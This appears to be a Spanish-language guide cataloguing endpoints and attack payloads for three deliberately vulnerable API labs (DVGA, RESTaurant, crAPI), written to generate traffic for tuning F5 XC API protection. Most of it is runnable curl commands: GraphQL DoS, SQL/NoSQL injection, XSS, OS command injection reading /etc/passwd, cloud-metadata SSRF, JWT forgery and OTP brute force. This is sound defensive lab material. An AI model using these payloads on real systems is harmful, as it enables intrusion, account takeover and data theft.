Ir al contenido

Guía de pruebas de API

Esta guía cataloga todos los endpoints de API, vulnerabilidades intencionales y payloads de ataque en las tres aplicaciones de pruebas de seguridad de API. Úsela para construir patrones de generación de tráfico destinados al desarrollo de perfiles de protección de API en F5 XC.

AplicaciónProtocoloRutaPuertoAutenticaciónVulnerabilidades
DVGAGraphQL/dvga/80Ninguna (admin: admin/password)25 escenarios
RESTaurantREST (FastAPI)/restaurant/80JWT (form-encoded)7 categorías OWASP API 2023
crAPIREST (microservicios)/8888JWT (Bearer)18+ desafíos
Ventana de terminal
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ Credenciales de administrador: admin / password

Todas las interacciones con DVGA utilizan un único endpoint (/dvga/graphql) con solicitudes POST que contienen payloads JSON {"query":"..."}.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← referencia circular
OperaciónTipoAutenticaciónPropósito
pastes(public, filter, limit)QueryNoListar pastes (inyección SQL mediante filter)
paste(id)QueryNoObtener un paste individual
me(token)QueryNoObtener usuario por JWT (vulnerable a falsificación)
systemHealthQueryNoVerificación de estado
systemUpdateQueryNoConsulta lenta (~82s, vector DoS)
systemDiagnostics(cmd)Queryadmin/passwordEjecutar comandos de SO en lista blanca
createPaste(title, content, public)MutationNoCrear paste (XSS mediante content)
importPaste(host, port, path, scheme)MutationNoImportar paste remoto (SSRF, inyección de comandos)
uploadPaste(filename, content)MutationNoSubir paste (path traversal)

Ataque de consultas en lote:

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Recursión profunda (referencias circulares entre Owner/Paste):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Consulta con uso intensivo de recursos (~82 segundos de respuesta):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

Duplicación de campos (repetir el campo 500+ veces):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

Ataque basado en alias (1000 operaciones con alias):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

2. Divulgación de información (5 escenarios)

Sección titulada «2. Divulgación de información (5 escenarios)»

Introspección (enumeración completa del esquema):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Sugerencias de campos (un error tipográfico revela campos válidos):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF mediante importPaste (sondeo de servicios internos):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

Inyección SQL mediante el parámetro filter:

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

XSS almacenado mediante createPaste:

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Inyección en logs (suplantación del nombre de operación):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

Inyección de comandos de SO mediante importPaste:

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

Comando de SO mediante systemDiagnostics (requiere autenticación de administrador):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

Falsificación de token JWT (acepta tokens sin firma):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

Escritura arbitraria de archivos mediante uploadPaste (path traversal):

Ventana de terminal
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Swagger UI: ${ORIGIN}/restaurant/docs Especificación OpenAPI: ${ORIGIN}/restaurant/openapi.json Autenticación: JWT mediante POST con form-encoded a /restaurant/token Roles: Customer (predeterminado), Employee, Chef (admin)

Ventana de terminal
# Registrar un usuario de prueba
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obtener token JWT (NOTA: form-encoded, no JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
EndpointMétodoAutenticaciónRolVulnerabilidad
/restaurant/registerPOSTNoCreación de usuario
/restaurant/tokenPOSTNoJWT con secreto débil (97952)
/restaurant/healthcheckGETNoVerificación de estado
/restaurant/profileGETCualquieraPerfil de usuario
/restaurant/profilePUTCualquieraBOLA (modificar otros usuarios)
/restaurant/profilePATCHCualquieraBOPLA (asignación masiva de rol)
/restaurant/users/update_rolePUTCualquieraBFLA (escalada de rol)
/restaurant/menuGETCualquieraListar elementos del menú
/restaurant/menuPUTEmployee+Crear menú (SSRF mediante imagen)
/restaurant/menu/{item_id}PUTEmployee+Actualizar menú (SSRF mediante imagen)
/restaurant/menu/{item_id}DELETECualquieraBFLA (cualquier usuario puede eliminar)
/restaurant/ordersGETCualquieraBOLA (ver todos los pedidos)
/restaurant/ordersPOSTCualquieraCrear pedido
/restaurant/orders/{order_id}GETCualquieraBOLA (acceder a pedidos de otros)
/restaurant/orders/status/{order_id}GETCualquieraEstado del pedido
/restaurant/admin/stats/diskGETChefInyección de comandos
/restaurant/reset-passwordPOSTNoSolicitud de restablecimiento de contraseña
/restaurant/reset-password/new-passwordPOSTNoEstablecer nueva contraseña
/restaurant/referral-codeGETCualquieraObtener código de referido
/restaurant/apply-referralPOSTCualquieraAplicar referido
/restaurant/discount-couponsGETCualquieraListar cupones

API1:2023 — Autorización de nivel de objeto rota (BOLA)

Sección titulada «API1:2023 — Autorización de nivel de objeto rota (BOLA)»

Modificar el perfil de otro usuario:

Ventana de terminal
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

Acceder a los pedidos de otros usuarios (enumerar offset):

Ventana de terminal
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

Fuerza bruta al secreto débil del JWT (el secreto tiene 6 dígitos: 97952):

Ventana de terminal
# Decodificar y falsificar tokens en jwt.io
# Secreto: 97952 (puede romperse con hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Falsificar un token de Chef:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Firmar con secreto: 97952

API3:2023 — Autorización de nivel de propiedad de objeto rota (BOPLA)

Sección titulada «API3:2023 — Autorización de nivel de propiedad de objeto rota (BOPLA)»

Asignación masiva de rol de Customer a Chef:

Ventana de terminal
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

Ruta de escalada: Customer → Employee → Chef:

Ventana de terminal
# Paso 1: Escalar a Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# Paso 2: Escalar a Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Autorización de nivel de función rota (BFLA)

Sección titulada «API5:2023 — Autorización de nivel de función rota (BFLA)»

Eliminar un elemento del menú como Customer (debería requerir Employee+):

Ventana de terminal
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

Cambiar el rol de otro usuario:

Ventana de terminal
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — Falsificación de solicitudes del lado del servidor (SSRF)

Sección titulada «API7:2023 — Falsificación de solicitudes del lado del servidor (SSRF)»

Sondear endpoints internos mediante image_url del menú (requiere rol Employee):

Ventana de terminal
# Primero escalar a Employee mediante BOPLA, luego:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

Inyección de comandos de SO mediante estadísticas de disco (requiere rol Chef):

Ventana de terminal
# Después de escalar a Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"

Cadena de ataque completa: de Customer a Root

Sección titulada «Cadena de ataque completa: de Customer a Root»
Ventana de terminal
# 1. Registrar
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obtener token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalar a Chef (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Volver a autenticar para obtener token de nivel Chef
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Inyección de comandos (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Interfaz web: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (captura de correos para verificación) Autenticación: Token JWT Bearer (RS256, vulnerable a confusión de algoritmo) Arquitectura: 7 microservicios (identity, community, workshop, postgres, mongo, mailhog, web)

Configuración: Registrar, verificar correo electrónico e iniciar sesión

Sección titulada «Configuración: Registrar, verificar correo electrónico e iniciar sesión»
Ventana de terminal
# 1. Registrar
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Revisar MailHog para el correo de verificación
# Navegar a ${CRAPI}/mailhog/ o usar la API de MailHog:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. Iniciar sesión y obtener token JWT
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
EndpointMétodoAutenticaciónVulnerabilidad
/identity/api/auth/signupPOSTNoRegistro
/identity/api/auth/loginPOSTNoToken JWT (confusión de algoritmo)
/identity/api/auth/forget-passwordPOSTNoSolicitar OTP
/identity/api/auth/v2/check-otpPOSTNoSin límite de tasa (fuerza bruta a OTP de 4 dígitos)
/identity/api/auth/v3/check-otpPOSTNoVersión con límite de tasa
/identity/api/v2/user/dashboardGETPerfil de usuario
/identity/api/v2/user/change-emailPUTCambio de correo electrónico
/identity/api/v2/vehicle/vehiclesGETListar vehículos (filtra UUIDs)
/identity/api/v2/vehicle/{uuid}/locationGETBOLA (vehículo de cualquier usuario)
/identity/api/v2/user/videosPOSTSubida de video
/identity/api/v2/user/videos/{id}GETExposición de datos (conversion_params)
/identity/api/v2/user/videos/{id}PUTAsignación masiva (inyección de comandos)
/identity/api/v2/admin/videos/{id}DELETEBFLA (sin verificación de administrador)
EndpointMétodoAutenticaciónVulnerabilidad
/community/api/v2/community/postsGETExposición de datos (filtra vehicle_id, correo electrónico)
/community/api/v2/community/postsPOSTCrear publicación en el blog
/community/api/v2/community/posts/{id}/commentsPOSTAgregar comentario
/community/api/v2/coupon/validate-couponPOSTInyección NoSQL
EndpointMétodoAutenticaciónVulnerabilidad
/workshop/api/mechanicGETExposición de datos (correos de mecánicos)
/workshop/api/mechanic/mechanic_reportGETNoBOLA (sin autenticación, IDs secuenciales)
/workshop/api/merchant/contact_mechanicPOSTSSRF + DoS
/workshop/api/shop/productsGETCatálogo de productos
/workshop/api/shop/orders/POSTCrear pedido
/workshop/api/shop/orders/allGETListar pedidos
/workshop/api/shop/orders/{id}GETNoBOLA (sin autenticación requerida)
/workshop/api/shop/orders/{id}PUTAsignación masiva (status, quantity)
/workshop/api/shop/apply_couponPOSTInyección SQL

Desafío 1 — BOLA: Acceder a la ubicación del vehículo de otro usuario

Sección titulada «Desafío 1 — BOLA: Acceder a la ubicación del vehículo de otro usuario»
Ventana de terminal
# Obtener primero el UUID de tu vehículo
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# Acceder al vehículo de otra persona (reemplazar UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

Desafío 2 — BOLA: Acceder a informes de mecánicos (sin autenticación)

Sección titulada «Desafío 2 — BOLA: Acceder a informes de mecánicos (sin autenticación)»
Ventana de terminal
# Enumeración de ID secuencial — no se necesita token
for i in 1 2 3 4 5; do
echo "Informe $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

Desafío 3 — Autenticación rota: Fuerza bruta al OTP de restablecimiento de contraseña

Sección titulada «Desafío 3 — Autenticación rota: Fuerza bruta al OTP de restablecimiento de contraseña»
Ventana de terminal
# Solicitar OTP para la víctima
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# Fuerza bruta al OTP de 4 dígitos (v2 NO tiene límite de tasa)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

Desafío 4 — Exposición de datos: Filtrar correos electrónicos de mecánicos

Sección titulada «Desafío 4 — Exposición de datos: Filtrar correos electrónicos de mecánicos»
Ventana de terminal
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

Desafío 5 — Exposición de datos: Parámetros internos de conversión de video

Sección titulada «Desafío 5 — Exposición de datos: Parámetros internos de conversión de video»
Ventana de terminal
# Subir un video y luego inspeccionar la respuesta
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# Buscar el campo conversion_params en la respuesta

Desafío 6 — DoS: Capa 7 mediante Contact Mechanic

Sección titulada «Desafío 6 — DoS: Capa 7 mediante Contact Mechanic»
Ventana de terminal
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

Desafío 7 — BFLA: Eliminar video mediante el endpoint de administrador

Sección titulada «Desafío 7 — BFLA: Eliminar video mediante el endpoint de administrador»
Ventana de terminal
# Un usuario regular puede acceder al endpoint de administrador
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

Desafíos 8 y 9 — Asignación masiva: Obtener artículos gratis mediante manipulación de pedidos

Sección titulada «Desafíos 8 y 9 — Asignación masiva: Obtener artículos gratis mediante manipulación de pedidos»
Ventana de terminal
# Cambiar GET a PUT, modificar status y quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

Desafío 10 — Inyección de comandos mediante parámetros de conversión de video

Sección titulada «Desafío 10 — Inyección de comandos mediante parámetros de conversión de video»
Ventana de terminal
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

Desafío 11 — SSRF mediante Contact Mechanic

Sección titulada «Desafío 11 — SSRF mediante Contact Mechanic»
Ventana de terminal
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

Desafío 12 — Inyección NoSQL: Extraer códigos de cupón

Sección titulada «Desafío 12 — Inyección NoSQL: Extraer códigos de cupón»
Ventana de terminal
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

Desafío 13 — Inyección SQL: Canjear cupones múltiples veces

Sección titulada «Desafío 13 — Inyección SQL: Canjear cupones múltiples veces»
Ventana de terminal
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

Desafío 14 — Acceso a pedidos sin autenticación

Sección titulada «Desafío 14 — Acceso a pedidos sin autenticación»
Ventana de terminal
# Sin encabezado Authorization — aún devuelve datos
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Ventana de terminal
# Falsificar un JWT con el algoritmo "none" (sin verificación de firma):
# 1. Establecer el encabezado: {"alg":"none","typ":"JWT"} y codificarlo en base64url
# 2. Establecer el payload: {"email":"admin@example.com","role":"admin"} y codificarlo en base64url
# 3. Unirlos con puntos, dejar la firma vacía: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

Referencia cruzada con el OWASP API Security Top 10

Sección titulada «Referencia cruzada con el OWASP API Security Top 10»
Categoría OWASPDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}Ubicación de vehículo, informes de mecánicos, pedidos
API2: Autenticación rotaFalsificación de JWT (consulta me)Secreto JWT débil (97952)Fuerza bruta a OTP (v2), confusión de algoritmo JWT
API3: BOPLAPATCH /profile (escalada de rol)conversion_params de video, exposición de correo de mecánicos
API4: Consumo de recursosDoS por lote, recursión, alias y duplicación de camposEnumeración de usuarios mediante longitud de respuestaDoS con contact_mechanic repeat_request
API5: BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos como usuario regular
API6: Asignación masivaPUT /orders (status, quantity)Estado/cantidad de pedido, conversion_params de video
API7: SSRFMutación importPastePUT /menu image_urlcontact_mechanic mechanic_api URL
API8: InyecciónSQL (filter), XSS (content), comando de SO (importPaste, systemDiagnostics)Comando de SO (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Activos inadecuados/auth/v2/check-otp obsoleto (sin límite de tasa)
API10: Consumo inseguro(indirecto mediante SSRF)
Específico de GraphQLIntrospección, lotes, recursión, alias, duplicación de campos, fragmentos circulares

Genere tráfico legítimo para establecer el comportamiento normal de la API antes de probar patrones de ataque.

Línea base de DVGA:

Ventana de terminal
# Consultas normales
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

Línea base de RESTaurant:

Ventana de terminal
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

Línea base de crAPI:

Ventana de terminal
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

Fase 2: Tráfico de ataque por categoría OWASP

Sección titulada «Fase 2: Tráfico de ataque por categoría OWASP»

Pruebas de BOLA: Enumerar IDs secuenciales, intercambiar identificadores de usuario en solicitudes, acceder a recursos sin ser propietario.

Pruebas de inyección: Payloads SQL en parámetros filter/coupon, inyección de consultas GraphQL, inyección de comandos de SO mediante campos de parámetros.

Pruebas de omisión de autenticación: Falsificar tokens JWT, aplicar fuerza bruta a OTPs, usar versiones obsoletas de la API, confusión de algoritmo.

Pruebas de SSRF: URLs internas en los parámetros importPaste, image_url y mechanic_api.

Pruebas de DoS: Ataques de lote/recursión/alias en GraphQL, repeat_request_if_failed con conteos elevados.

Algunos ataques requieren secuencias de múltiples pasos con estado:

  1. Cadena de escalada en RESTaurant: Registrar → Token → PATCH de rol a Chef → Volver a autenticar → Inyección de comandos
  2. Flujo completo de crAPI: Registrar → Verificar correo electrónico (MailHog) → Iniciar sesión → Agregar vehículo → Contactar mecánico (SSRF) → Manipulación de pedidos
  3. Reconocimiento hasta explotación en DVGA: Introspección → Descubrir systemDiagnostics → Fuerza bruta a credenciales de administrador → Ejecución de comandos de SO
PatrónSolicitudes/segDuraciónNotas
Línea base (por aplicación)10-505 minEstablecer huella de tráfico normal
Enumeración BOLA100-5002 minEscaneo de IDs secuenciales
Fuerza bruta a OTP1000+Hasta encontrarMáximo 10,000 intentos (4 dígitos)
DoS en GraphQL10-5030 segCada solicitud es costosa para el servidor
Fuzzing de inyección50-2005 minVariar los payloads por solicitud
Sondeo SSRF5-202 minLento; cada solicitud dispara una solicitud HTTP en el servidor